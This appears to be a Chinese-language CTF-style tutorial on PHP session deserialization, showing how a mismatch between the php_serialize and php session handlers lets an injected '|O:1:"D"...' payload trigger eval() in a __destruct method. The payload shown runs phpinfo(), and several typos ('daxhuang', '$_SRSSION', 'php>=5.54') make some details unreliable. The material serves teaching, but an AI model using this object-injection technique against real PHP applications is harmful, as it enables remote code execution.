据陈腾师傅所说:
1.漏洞产生原因:写入格式和读取格式不一样。
下面是三种常见的存储格式:
处理器 | 对应的存储格式 |
php | 键名+竖线+经过serialize()函数序列化处理的值 |
php_serialize(php>=5.54) | 经过serlalize()函数序列化处理的数组 |
php_binary | 键名的长度对应的ASCII字符+键名+经过 serialize()函数反序列化处理的值 |
(1)php存储
<?php
session_start();
$_SRSSION['benben']=$_GET['ben'];
?>
提交:?ben=dazhuang
结果:benben|s:8:"daxhuang";
键名+竖线+经过serialize()函数序列化处理的值
(2)php_serialize(php>=5.54)存储
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>
提交:?ben=dazhuang&b=666
结果:a:2:{s:6:"benben";s:8:"dazhuang";s:1:"b";s:3:"666";}
经过serlalize()函数序列化处理的数组
(3)php_binary存储
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>
提交:?ben=dazhuang&b=666
结果:ACKbenbens:8:"dazhuang";SOHbs:3:"666";
键名的长度对应的ASCII字符+键名+经过serialize()函数反序列化处理的值
来到题目实战练习:
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
这里有两个网页分别对应的两段代码,我们只能在页面2上提交,还是老样子,反序列化的很多漏洞开头都是一样的,都要先进行一次正常的反序列化
<?php class D{var $a= "phpinfo();"; } echo serialize(new D());
O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}
到这里,我们得先明白我们要做什么,我们传参a是以php_serialize格式写进去的,但是读取是php读取的,
当我们提交:?a=|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}
经过php_serialize保存后,变成了:a:1:{s:3:"ben";s:39:"|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}//全都是经过serlalize()函数序列化处理的数组
经过PHP读取后,a:1:{s:3:"ben";s:39:"|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}变成了键名+竖线+经过serialize()函数序列化处理的值,
正好我要的经过serialize()函数序列化处理的值就是O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}这堆可以执行phpinfo的代码,所以漏洞利用成功的。
提交:?a=|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}
希望大家能够从文章中收获知识!谢谢!